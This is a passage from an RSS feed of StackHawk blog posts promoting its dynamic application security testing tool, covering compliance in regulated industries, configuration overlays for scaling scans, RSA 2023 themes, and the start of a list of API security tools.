href=&quot;https://www.stackhawk.com/blog/customized-and-configurable-scan-discovery/&quot;&gt;&lt;u&gt; Customizing the scans is easy to do&lt;/u&gt;&lt;/a&gt; and allows organizations and developers to dial in their automated testing efforts to ensure security requirements are met, no matter how complex or obscure.&lt;/p&gt;&lt;h3&gt;Developer-Centric Insights &lt;/h3&gt;&lt;p&gt;StackHawk is built with developers in mind, providing clear and actionable insights that enable quick remediation of vulnerabilities. By empowering developers to address security and compliance issues within their existing workflows, StackHawk helps organizations maintain compliance more efficiently and effectively. Within every vulnerability report, there are suggestions and links to aid developers in understanding, reproducing and fixing found vulnerabilities easily. Developers can move from testing to understanding, to fixing.  Issues that can be fixed later can be added to a ticket for tracking in their favorite tool, such as Jira. &lt;a href=&quot;https://www.stackhawk.com/solutions/developer-centric-application-security&quot;&gt;&lt;u&gt;By easily integrating into familiar developer workflows&lt;/u&gt;&lt;/a&gt;, StackHawk offers developers an augmented security experience on their home turf.&lt;/p&gt;&lt;h2&gt;Integrating StackHawk with Existing Systems and Processes&lt;/h2&gt;&lt;p&gt;As mentioned in the previous section, StackHawk is designed to easily integrate with existing systems and processes. This ability makes it a seamless addition to an organization&amp;#39;s security and compliance workflows. StackHawk’s platform has been built with developers in mind and offers integrations with popular developer tools, compatibility with various programming languages and platforms, and the ability to fit into existing CI/CD flows. This makes developers love our product since it ensures that StackHawk can enhance security practices without disrupting established processes. Let’s take a deeper dive into each of these areas.&lt;/p&gt;&lt;h3&gt;API and Integrations with Popular Tools&lt;/h3&gt;&lt;p&gt;For a tool to be easily adopted, it needs to fit into the current architecture and tooling that an organization is using. The StackHawk API exposes &lt;a href=&quot;https://docs.stackhawk.com/apidocs.html&quot;&gt;&lt;u&gt;an OpenAPI specification &lt;/u&gt;&lt;/a&gt;that can be referenced for automation or research purposes. StackHawk&amp;#39;s API allows organizations to easily integrate the platform with their existing systems and applications for ultimate flexibility. &lt;/p&gt;&lt;p&gt;Beyond the API, StackHawk offers out-of-the-box integrations with popular tools like &lt;a href=&quot;https://docs.stackhawk.com/workflow-integrations/jira.html&quot;&gt;&lt;u&gt;Jira&lt;/u&gt;&lt;/a&gt;, &lt;a href=&quot;https://docs.stackhawk.com/workflow-integrations/slack.html&quot;&gt;&lt;u&gt;Slack,&lt;/u&gt;&lt;/a&gt; and &lt;a href=&quot;https://docs.stackhawk.com/workflow-integrations/github-app/&quot;&gt;&lt;u&gt;GitHub.&lt;/u&gt;&lt;/a&gt; These integrations enable streamlined workflows and improved collaboration between development and security teams. The result allows organizations to address vulnerabilities more effectively and maintain their compliance most efficiently within their common workflows.  As StackHawk and the developer landscape evolve, StackHawk continues to build integrations with tools the developers love to make sure developers get the best experience possible, making DAST accessible and effective.&lt;/p&gt;&lt;h3&gt;Compatibility with Various Programming Languages and Platforms &lt;/h3&gt;&lt;p&gt;StackHawk is agnostic to web programming languages and platforms, ensuring that organizations can use it regardless of their technology stack. This flexibility enables businesses to leverage StackHawk&amp;#39;s security testing capabilities without needing to make significant changes to their existing infrastructure or development processes. In the vulnerability reports that StackHawk generates, fix guides are also provided in a variety of languages to help users identify and implement fixes quickly.&lt;/p&gt;&lt;h3&gt;Integration with Existing CI/CD Flows&lt;/h3&gt;&lt;p&gt;The key differentiator for StackHawk’s modern DAST solution is the ability to fit nicely into existing CI/CD workflows. StackHawk is designed to fit seamlessly into existing Continuous Integration/Continuous Deployment (CI/CD) pipelines, allowing organizations to embed security testing within their software development process. By adding StackHawk as a step in the CI/CD pipeline, development teams can automatically run security scans on their applications whenever code changes are committed and pushed to a repository. &lt;/p&gt;&lt;p&gt;Setting up StackHawk within a CI/CD pipeline is simple and generally only requires a few steps. At a high-level, integrating StackHawk into a CI/CD pipeline looks like this:&lt;/p&gt;&lt;p&gt;a. Install StackHawk&amp;#39;s scanner (HawkScan) in your CI/CD environment.&lt;/p&gt;&lt;p&gt;b. Configure the scanner by creating a `stackhawk.yml` configuration file, specifying the application details, target environment, and relevant security tests.&lt;/p&gt;&lt;p&gt;c. Add a step to your CI/CD pipeline to run HawkScan whenever code changes are pushed, using the configuration file created earlier.&lt;/p&gt;&lt;p&gt;d. Monitor the results and integrate them into your existing notification, issue tracking, and reporting processes.&lt;/p&gt;&lt;p&gt;For more details on this integration, check out our &lt;a href=&quot;https://docs.stackhawk.com/continuous-integration/&quot;&gt;&lt;u&gt;in-depth docs&lt;/u&gt;&lt;/a&gt; or &lt;a href=&quot;https://www.stackhawk.com/about/&quot;&gt;&lt;u&gt;contact our team&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;StackHawk&amp;#39;s flexibility and compatibility make it an ideal solution for organizations looking to enhance their security and compliance processes without disrupting existing workflows. Its API, integrations with popular tools, support for various programming languages and platforms, and seamless integration with CI/CD pipelines ensure that StackHawk can be easily adopted and implemented by development and security teams, fostering a proactive approach to security and compliance management.
&lt;/p&gt;&lt;h2&gt;StackHawk&amp;#39;s Role in Simplifying Compliance Audits&lt;/h2&gt;&lt;p&gt;StackHawk plays a pivotal role in simplifying compliance audits for highly regulated industries, such as those subject to HIPAA, PCI DSS, and other regulatory frameworks. Its automated documentation and reporting features, along with its proactive approach to ensuring compliance requirements are met, help streamline the audit process. By helping to ensure compliance and application security, organizations will benefit from the reduced chances of penalties and fines. StackHawk can help with supplementing compliance audits with the following ways:&lt;/p&gt;&lt;h3&gt;Automated Documentation&lt;/h3&gt;&lt;p&gt;StackHawk&amp;#39;s platform generates detailed and comprehensive documentation of its security scans, providing a clear record of the vulnerabilities detected, remediation efforts, and any outstanding issues. This automated documentation not only helps organizations maintain a clear view of their security posture but also serves as valuable evidence during audits, demonstrating their commitment to maintaining compliance.&lt;/p&gt;&lt;h3&gt;Reporting Features &lt;/h3&gt;&lt;p&gt;StackHawk offers user-friendly reporting features that make it easy for organizations to review, analyze, and communicate their security findings. These reports can be tailored to the specific requirements of different regulatory frameworks, helping organizations present relevant information clearly and concisely during audits. Additionally, these reports can be easily shared with auditors, further streamlining the audit process.&lt;/p&gt;&lt;h3&gt;Ensuring Compliance Requirements Are Met&lt;/h3&gt;&lt;p&gt;StackHawk&amp;#39;s continuous monitoring capabilities allow organizations to proactively identify and address vulnerabilities in real time, reducing the likelihood of data breaches and security incidents that can lead to non-compliance. By continuously testing applications and APIs, StackHawk helps organizations ensure they adhere to the security requirements set forth by regulations like HIPAA and PCI DSS.&lt;/p&gt;&lt;h3&gt;Customizable Scans&lt;/h3&gt;&lt;p&gt;As mentioned previously, StackHawk&amp;#39;s platform can be customized to meet the specific security and compliance requirements of different industries and regulations. By configuring the platform to focus on the relevant security controls and standards, organizations can ensure that their applications and infrastructure meet the stringent requirements of their respective regulatory frameworks.&lt;/p&gt;&lt;h2&gt;Real-World Examples of StackHawk in Highly Regulated Industries&lt;/h2&gt;&lt;p&gt;By continuously testing web applications for potential security vulnerabilities, StackHawk can effectively minimize risks and ensure compliance with industry-specific regulations. DAST tools can be utilized by almost every application to uncover vulnerabilities. The wide applicability of StackHawk means that it can have a positive impact on the security of applications across many different verticals. Here are some real-world scenarios in which StackHawk’s DAST tool can be effectively utilized:&lt;/p&gt;&lt;h3&gt;Financial Services Industry&lt;/h3&gt;&lt;p&gt;Banks, credit unions, and other financial institutions must adhere to strict regulations such as GDPR, GLBA, and PCI DSS, including PCI 6.6 which emphasizes security for web applications. StackHawk can automatically and continuously monitor web applications and API code for security vulnerabilities. By adding StackHawk into the development process, the protection of sensitive customer data and maintaining regulatory compliance at the code and application level can be ensured.&lt;/p&gt;&lt;h3&gt;Healthcare Industry&lt;/h3&gt;&lt;p&gt;As we saw earlier, healthcare providers must comply with regulations like HIPAA and HITECH to protect patient information. StackHawk can automatically test Electronic Health Record (EHR) systems and patient portals for security issues and identify these to the developers building the applications. This means that by the time the system hits production security vulnerabilities are remedied and confidential patient data remains protected.&lt;/p&gt;&lt;h3&gt;E-commerce and Retail Industry&lt;/h3&gt;&lt;p&gt;Although we tend to see a lot of breaches in this sector, online and brick-and-mortar retailers must comply with PCI DSS to protect customer payment information. Automated testing and reporting through StackHawk can identify vulnerabilities in e-commerce platforms and payment gateways. This automation can help businesses maintain compliance, protect customer data, and retain customer trust which can be shattered by a single breach.&lt;/p&gt;&lt;p&gt;In each of these scenarios, StackHawk can provide continuous testing to identify security vulnerabilities, helping organizations in highly regulated industries scale application security compliance via automation. By integrating StackHawk into the software development lifecycle (SDLC) and existing workflows, these industries can efficiently address security concerns, minimize risks, and stay compliant with ever-evolving regulations.&lt;/p&gt;&lt;h2&gt;Ensuring Ongoing Compliance with StackHawk&amp;#39;s Continuous Testing&lt;/h2&gt;&lt;p&gt;Since applications are forever changing and new code is committed daily, even hourly, continuous testing through automated DAST testing is essential. Continuous testing of application code is essential for maintaining compliance in the face of an ever-evolving regulatory landscape. Many companies view testing as something done when applications hit production but when it comes to security, this is often too late. By testing and reporting on the security of an application, as it is being built, potential security issues at the application level can be handled immediately. The importance of the continuous testing of applications with StackHawk can be highlighted through the following key points:&lt;/p&gt;&lt;h3&gt;Detecting Vulnerabilities in Real-Time&lt;/h3&gt;&lt;p&gt;By continuously testing an application’s security as it is being built, organizations can promptly identify security vulnerabilities in their applications. This proactive approach enables them to address these vulnerabilities before they can be exploited by malicious actors. Proactively identifying and fixing vulnerabilities before they hit production helps reduce the likelihood of data breaches and ensures ongoing compliance with regulatory requirements that can be verified through StackHawk. Layering StackHawk with other security testing tools such as a &lt;a href=&quot;https://www.stackhawk.com/blog/dast-vs-sast/&quot;&gt;&lt;u&gt;static application security testing tool&lt;/u&gt;&lt;/a&gt;, like &lt;a href=&quot;https://docs.stackhawk.com/workflow-integrations/snyk.html&quot;&gt;&lt;u&gt;Snyk&lt;/u&gt;&lt;/a&gt;, and monitoring tools, such as &lt;a href=&quot;https://docs.sentry.io/product/performance/?original_referrer=https%3A%2F%2Fsentry.io%2F&quot;&gt;&lt;u&gt;Sentry&lt;/u&gt;&lt;/a&gt;, can help to build a well-rounded security framework.&lt;/p&gt;&lt;h3&gt;Adapting to Changing Regulations&lt;/h3&gt;&lt;p&gt;As regulations evolve to address new security threats and technological advancements, organizations must adapt their security practices accordingly. Continuous testing allows businesses to stay informed about changes in regulatory requirements and adjust their security posture as needed, ensuring ongoing compliance and reducing the risk of non-compliance penalties. With StackHawk, if regulations change, testing can be customized to meet the new requirements. Once the customization is live, future code flowing through the CI/CD pipeline will be tested to meet these new requirements.&lt;/p&gt;&lt;h3&gt;Supporting DevOps and Agile methodologies&lt;/h3&gt;&lt;p&gt;Modern software development processes, such as DevOps and agile methodologies, emphasize rapid deployment and continuous improvement. Continuous security testing, including StackHawk’s DAST tool, aligns with these processes by providing real-time feedback on potential vulnerabilities through robust reporting and integration with other tools like Jira and Slack. With this approach, development teams are enabled to address issues quickly and maintain compliance throughout the software development lifecycle. By implementing a “shift left” approach to security testing and integrating it into automated developer workflows, StackHawk can ensure that applications are compliant earlier in the development lifecycle.&lt;/p&gt;&lt;h3&gt;Demonstrating Due Diligence&lt;/h3&gt;&lt;p&gt;By implementing continuous testing, organizations can demonstrate their commitment to maintaining a robust security posture and adhering to regulatory requirements. This not only helps avoid fines and penalties but also builds trust with customers, partners, and other stakeholders. With StackHawk, reports are generated with every scan so the security of an application and the development efforts to improve it are well documented. This security due diligence, especially being applied early in the software development lifecycle before code hits production, helps assure customers that an organization takes data security and regulatory compliance seriously.&lt;/p&gt;&lt;h3&gt;Streamlining Audits and Reporting&lt;/h3&gt;&lt;p&gt;As mentioned previously, continuous testing generates a wealth of data on an organization&amp;#39;s security practices and compliance status. This information can be invaluable during audits, simplifying the process of demonstrating compliance to regulators and reducing the time and resources needed to complete the audit. StackHawk’s reports are retained as long as your StackHawk subscription is active, giving the customer flexibility to delete scans and report data at their leisure. This retention period also offers an audit trail for security compliance that can easily be traced back even if audits dig deep into an application’s security history. Generating a report to outline the current status of an application is done upon every commit so seeing trends from the past up until the most recent commit is easy to do.&lt;/p&gt;&lt;p&gt;To wrap up this section, continuous testing is crucial for organizations looking to maintain compliance in a constantly changing regulatory environment. By implementing security testing tools like DAST, businesses can effectively and efficiently identify and address application vulnerabilities, adapt to new regulations, and demonstrate their commitment to maintaining a strong security posture.&lt;/p&gt;&lt;h2&gt;Conclusion &lt;/h2&gt;&lt;p&gt;In conclusion, security testing automation is a critical aspect of maintaining a robust security posture and adhering to regulatory requirements in highly regulated industries. StackHawk, with its innovative approach to dynamic application security testing and the ability to continuously test for vulnerabilities in an application as it’s being built, offers a powerful solution for organizations looking to streamline their application security processes and stay ahead of potential compliance issues.&lt;/p&gt;&lt;p&gt;By leveraging StackHawk&amp;#39;s platform, businesses can benefit from run-time vulnerability detection in their code as an application is being built. Through seamless integration with CI/CD pipelines, developer-centric insights, comprehensive API testing, and streamlined reporting and auditing, StackHawk helps companies stay secure and compliant by “shifting left” the burden of application security. These features not only help organizations meet the stringent compliance requirements of regulations like HIPAA, GDPR, PCI DSS, and SOX but also reduce the risk of costly fines, reputational damage, and legal consequences. By detecting vulnerabilities early, applications are also more secure out of the gate and cost less to build and maintain.&lt;/p&gt;&lt;p&gt;
With its focus on security compliance automation and adaptability to the unique needs of highly regulated industries, StackHawk empowers organizations to build secure applications, safeguard their sensitive data, and maintain customer trust. To try out StackHawk for yourself, &lt;a href=&quot;https://hubs.ly/Q01QrhwM0&quot;&gt;&lt;u&gt;sign up today&lt;/u&gt;&lt;/a&gt; for a 14-day free trial to “shift left” and get a jumpstart on meeting compliance requirements through automation.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Scaling Security Across Applications: Best Practices and Strategies]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/scaling-security-across-applications-best-practices-and-strategies</guid><category><![CDATA[Shifting Security Left]]></category><dc:creator><![CDATA[Brian Erickson]]></dc:creator><content:encoded>&lt;p&gt;Scaling security across multiple applications is a challenge that many organizations face. Whether it&amp;#39;s deploying a new application security tool or optimizing existing processes, the task of rolling out security measures across a large number of applications can be complex and time-consuming.&lt;/p&gt;&lt;p&gt;In this blog post, we will explore the best practices and strategies for scaling security across many applications. We will delve into the principles of operations and software engineering and discuss how they can be applied to application security. Additionally, we will highlight the use of configuration files, environment variables, and overlays to achieve scalability with modularization. Let&amp;#39;s dive in!&lt;/p&gt;&lt;h2&gt;Principles of Scaling Application Security&lt;/h2&gt;&lt;p&gt;We believe in three fundamental principles for scaling application security:&lt;/p&gt;&lt;p&gt;&lt;b&gt;1. Dry Development:&lt;/b&gt; The &amp;quot;Don&amp;#39;t Repeat Yourself&amp;quot; (DRY) principle encourages developers to avoid duplicating configuration settings. By breaking down long configuration files into reusable modules, developers can improve readability, reduce maintenance costs, and achieve consistent results across applications.&lt;/p&gt;&lt;p&gt;&lt;b&gt;2. Source Control:&lt;/b&gt; Just like source code, configuration files should be managed in version control systems such as Git. This practice ensures everyone has access to the same configuration version and simplifies troubleshooting in case of issues.&lt;/p&gt;&lt;p&gt;&lt;b&gt;3. Local Scanning:&lt;/b&gt; StackHawk&amp;#39;s Scanner can run locally, close to the running code, enabling engineers to discover and fix vulnerabilities before they make another pull request. This iterative process of making changes, testing, and repeating allows for rapid progress in resolving security issues.&lt;/p&gt;&lt;p&gt;Now let’s see how you can apply these principles to achieve a scalable and efficient AppSec program.&lt;/p&gt;&lt;h2&gt;Utilizing Configuration Files and Environment Variables&lt;/h2&gt;&lt;p&gt;Environment variables store application-specific values like connection settings and security credentials, allowing for dynamic injection of the correct values at runtime. This flexibility simplifies configuration management across different environments and enables developers to run scans without extensive configuration knowledge.&lt;/p&gt;&lt;p&gt;Setting environment variables with default values also helps ensure developers can easily run scans without explicitly configuring each variable.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://help.stackhawk.com/en/articles/7880390-hawkscan-configuration-basics&quot;&gt;&lt;u&gt;Check out this step-by-step guide on utilizing YAML configuration files and environment variables with HawkScan.&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Implementing Overlays for Modularization&lt;/h2&gt;&lt;p&gt;Overlays are a powerful feature in StackHawk&amp;#39;s HawkScan tool that enables the extension and modification of base configuration files. By breaking down configurations into separate YAML files, developers can modularize their settings, making them shareable across different applications. Overlays can include common configurations for authentication, custom scan discovery, test scripts, and more.&lt;/p&gt;&lt;p&gt;Overlays can be specified at scan time through command-line parameters or in CI/CD pipelines. This modular approach to configuration allows for scalability across multiple applications while maintaining consistency and reducing redundancy.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://help.stackhawk.com/en/articles/7880840-hawkscan-configuration-with-overlays&quot;&gt;&lt;u&gt;Check out this article to learn more about what overlays are, how to use them in your HawkScan configuration, and best practices to follow.&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Scaling Across Teams&lt;/h2&gt;&lt;p&gt;To roll out this approach to multiple teams, StackHawk offers two options: Git submodules and remote URLs (coming soon!). Git submodules enable centralized management of common configurations and can be shared across applications and teams. Alternatively, we are adding support to reference overlay files via remote URLs, allowing a centralized location to host overlays.&lt;/p&gt;&lt;p&gt;Scaling security across all of your applications is a critical undertaking for organizations aiming to maintain robust application security practices. By applying the principles of operations and software engineering, leveraging configuration files, environment variables, and overlays, and involving the development team, organizations can achieve an efficient large-scale AppSec program.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Thought leadership provided by: Dan Hopkins, VP of Engineering, and Brian Erickson, Senior Product Manager at StackHawk&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Read more&lt;/b&gt;:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/stackhawk-named-winner-in-2023-global-infosec-awards-at-rsa-2023/#:~:text=StackHawk%20named%20Winner-,in%202023%20Global,at%20RSA%202023&amp;text=Cyber%20Defense%20Magazine%20recognizes%20StackHawk,category%20at%20RSA%20Conference%202023.&quot;&gt;&lt;u&gt;Learn why StackHawk was named winner for Next Gen API Security at RSA&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/shifting-left-8-essential-tips-to-evolve-your-appsec-program/&quot;&gt;&lt;u&gt;Implement a Shift Left approach with 8 essential tips&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/demo/&quot;&gt;&lt;u&gt;Watch a demo and see how StackHawk helps organizations shift left&lt;/u&gt;&lt;/a&gt;  &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;Get started with a free StackHawk trial today&lt;/u&gt;&lt;/a&gt;! &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/&quot;&gt;&lt;u&gt;Researcher type? Check out our awesome Hawkdocs&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[RSA 2023: Themes and Observations]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/rsa-2023-themes-and-observations</guid><category><![CDATA[Shifting Security Left]]></category><category><![CDATA[Product Manager's Corner]]></category><dc:creator><![CDATA[Lindsy Farina]]></dc:creator><content:encoded>&lt;p&gt;Hello and welcome to PM Corner! I’m Lindsy Farina, Senior Product Manager here at StackHawk! Today I will be sharing a little about the themes we saw at this year’s RSA conference in sunny San Francisco! &lt;/p&gt;&lt;h2&gt;Let’s start with the biggest theme: Shift left&lt;/h2&gt;&lt;p&gt;Like many great buzz phrases that came before it, digital transformation being the most recent, the concept sounds great, but the execution feels nebulous. We all know it’s coming, we all know we have to do it, but being the first to take the step into the abyss is hard. I definitely got a sense that people are on the cusp of making moves, some are still shifting to the center, but others are still peeking from behind the curtain to see how it goes. &lt;/p&gt;&lt;p&gt;At StackHawk, we realized early that the key to a successful shift was teamwork. The organization as a whole needs to get on board with the concept and create, dare I say it, synergy with security and engineering teams. Ultimately, it should be less scary to take that first step if you have a support system to join you! &lt;/p&gt;&lt;p&gt;And no one is going to shift left with scans that take hours, no matter how enthusiastic they are about the buzz. It simply doesn’t make sense. It was fun to watch how excited RSA booth visitors were to see us demo a full scan in real time, kicked off directly from the IDE, that completed before we could finish our spiel about DAST! &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;DAST &amp;amp; SAST: The dynamic (and static) duo&lt;/h2&gt;&lt;p&gt;Just like it takes a village to shift left, it also takes a winning tool stack to complete the loop.  SAST with DAST are the Martha Stewart and Snoop Dogg power team that helps you quickly identify your most critical vulnerabilities, helping you cut down the noise and prioritize what truly matters. While many users started in the SAST/SCA world, things are evolving, and it’s clear from our conversations at RSA that DAST is top of mind. Being able to hit your application at runtime to see if those code-level vulnerabilities are truly exploitable is the hot ticket. Surfacing vulnerabilities early in the development phase with DAST, coupled with code analysis from our friends at &lt;a href=&quot;https://www.stackhawk.com/blog/snyk-and-stackhawk-press-release/&quot;&gt;&lt;u&gt;Snyk&lt;/u&gt;&lt;/a&gt;, I’ll cheers to that!&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Coverage, discovery, and accuracy, oh my!&lt;/h2&gt;&lt;p&gt;But do you support…? The answer was YES! Consumers are looking for API coverage and we have it. With support for REST, SOAP, GraphQL, and even &lt;a href=&quot;https://www.stackhawk.com/blog/understanding-grpc-security-how-stackhawk-keeps-your-apis-protected/&quot;&gt;&lt;u&gt;gRPC&lt;/u&gt;&lt;/a&gt;, StackHawk has you covered. Booth visitors also asked about taking advantage of the work they’d already put in to build swagger docs, Selenium test suites, Postman collections, etc. StackHawk’s extensive &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/scan-discovery/custom.html&quot;&gt;&lt;u&gt;custom scan discovery options&lt;/u&gt;&lt;/a&gt; have you covered. Not only does this improve the accuracy of your results, but it is also going to help with scan times getting you even closer to the left!&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;The Wrap Up&lt;/h2&gt;&lt;p&gt;While the glowing StackHawk logo and our cool t-shirts may have brought people into our booth, what kept them there was our live demo. Many asked us “What does StackHawk do?” thinking that was necessary to get our cool shirt, but then quickly realized that they truly were interested and wanted to learn more. Per my colleagues, the booth visitors this year had clearly done their homework about DAST and StackHawk, and were more prepared with questions on the themes above compared to the 2022 RSA attendees. Many prospects are still in early phases of sorting out their tool stack, their compliance needs, and their course of action to get to building and deploying secure software. But it is clear that they are ready to take the steps toward shifting left, and see the value in what StackHawk has to offer. We are here for it!&lt;/p&gt;&lt;p&gt;
&lt;b&gt;[Lindsy Farina is a Sr. Product Manager at StackHawk]&lt;/b&gt;&lt;/p&gt;&lt;p&gt;
&lt;b&gt;Read more&lt;/b&gt;:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/stackhawk-named-winner-in-2023-global-infosec-awards-at-rsa-2023/#:~:text=StackHawk%20named%20Winner-,in%202023%20Global,at%20RSA%202023&amp;text=Cyber%20Defense%20Magazine%20recognizes%20StackHawk,category%20at%20RSA%20Conference%202023.&quot;&gt;&lt;u&gt;Learn why StackHawk was named winner for Next Gen API Security at RSA&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/shifting-left-8-essential-tips-to-evolve-your-appsec-program/&quot;&gt;&lt;u&gt;Implement a Shift Left approach with 8 essential tips&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/demo/&quot;&gt;&lt;u&gt;Watch a demo and see how StackHawk helps organizations shift left&lt;/u&gt;&lt;/a&gt;  &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;Get started with a free StackHawk trial today&lt;/u&gt;&lt;/a&gt;! &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/&quot;&gt;&lt;u&gt;Researcher type? Check out our awesome Hawkdocs&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Top API Security Tools of 2025]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/top-api-security-tools-of-2025</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Application programming interfaces, usually just referred to as APIs, are a very common attack vector when enterprises are breached. A poorly written and secured API endpoint can make an organization lose data and customer trust in the blink of an eye. As outlined in the OWASP API Security Top Ten, API attacks can have disastrous consequences for organizations and their customers. The risks present within APIs are why ensuring the security of an organization’s APIs is an important practice. Adhering to API security best practices and standards is a must for any organization exposing APIs internally and externally.&lt;/p&gt;&lt;p&gt;Luckily, there are numerous API security tools out there to help shoulder the burden of creating secure applications and APIs. Apart from the typical things such as cost, simplicity of integration, and ease of use, there are many other factors to consider when adopting new API security tools. Functionality should be at the top of the list and ensuring that the tool fits your exact needs within its features. Selecting the right API security tool involves evaluating capabilities such as API discovery, integration, testing, runtime protection, compliance, scalability, and maintenance to ensure comprehensive protection and alignment with the team&amp;#39;s workflow. When selecting an API tool, it should be capable of performing one or more of the following tasks:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;API security testing&lt;/b&gt;—The API tool must be capable of testing an API using the static application security testing (SAST) methodology, which involves testing the API source code for security flaws, or dynamic application security testing (DAST), simulating attacks to the API to check for security vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;API security posture&lt;/b&gt;—The tool should be able to create an inventory of APIs and the methods exposed and classify the data used by each method. This analysis provides visibility into the security state of a collection of APIs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;API runtime security&lt;/b&gt;—The tool should provide real-time protection for APIs against potential security breaches and attacks.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Ensuring secure APIs is crucial as it helps organizations proactively detect and manage vulnerabilities in their APIs. In this article, we’ll look at some of the most popular API security tools and how they can help you. Let’s start by looking at some key factors when it comes to API security!&lt;/p&gt;&lt;h2&gt;What is API Security?&lt;/h2&gt;&lt;p&gt;API security refers to the practices and protocols designed to protect Application Programming Interfaces (APIs) from unauthorized access, data breaches, and other malicious activities. APIs are critical in most modern software applications, enabling communication and data exchange between different systems, services, and devices. As such, they are a prime target for cyber attackers seeking to exploit vulnerabilities and gain access to sensitive data.&lt;/p&gt;&lt;p&gt;Effective API security involves a comprehensive approach that addresses the entire API lifecycle, from design and development to deployment and maintenance. This includes implementing robust authentication and authorization mechanisms, encrypting data both in transit and at rest, and conducting regular security testing. But what kind of threats are we looking at protecting against, and what risks do they bring?&lt;/p&gt;&lt;h2&gt;API Security Threats and Risks&lt;/h2&gt;&lt;p&gt;APIs are vulnerable to a range of security threats and risks that can have serious consequences for organizations. These include:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Unauthorized Access and Data Breaches&lt;/b&gt;: Attackers can exploit weak authentication mechanisms to gain unauthorized access to sensitive data.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Malicious Attacks&lt;/b&gt;: Techniques such as &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt;SQL injection&lt;/a&gt; and &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt;cross-site scripting (XSS)&lt;/a&gt; can be used to manipulate API endpoints and compromise data integrity.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Business Logic Vulnerabilities&lt;/b&gt;: Flaws like insecure direct object references (IDOR) can be exploited to access or manipulate data in unintended ways.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Denial of Service (DoS) and Distributed Denial of Service (DDoS) Attacks&lt;/b&gt;: These attacks can overwhelm an API, rendering it unavailable to legitimate users.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Man-in-the-Middle (MitM) Attacks&lt;/b&gt;: Intercepting and altering communication between APIs and clients can lead to data tampering and theft.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;API Key and Token Theft&lt;/b&gt;: Compromised keys and tokens can provide attackers with unauthorized access to APIs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Data Tampering and Manipulation&lt;/b&gt;: Attackers can alter data being transmitted through APIs, leading to data integrity issues.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Understanding these threats is crucial for security teams to implement effective countermeasures and protect sensitive data. Although some of these can be handled manually, there is a large list of great API security tools that can help developers to make APIs more secure. This can be done through either identifying issues within the API code or runtime issues, letting developers know where security gaps are and how to fix them. Let&amp;#39;s get started by looking at seven of the most popular tools.&lt;/p&gt;&lt;h2&gt;Top 7 API Tools of 2025&lt;/h2&gt;&lt;h3&gt;&lt;b&gt;StackHawk&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;StackHawk is a modern API security testing tool founded in 2019. It&amp;#39;s a dynamic application security testing (DAST) tool that scans APIs for potential vulnerabilities. StackHawk works 